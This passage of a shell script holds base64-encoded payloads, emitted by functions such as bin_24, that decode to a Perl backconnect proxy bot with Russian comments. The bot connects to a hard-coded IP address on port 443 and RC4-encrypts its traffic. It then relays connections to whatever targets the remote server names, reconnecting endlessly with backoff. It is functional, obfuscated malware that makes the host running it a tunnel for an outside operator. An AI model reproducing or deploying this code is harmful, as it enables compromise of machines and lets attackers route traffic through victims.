ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_24() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xODEnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
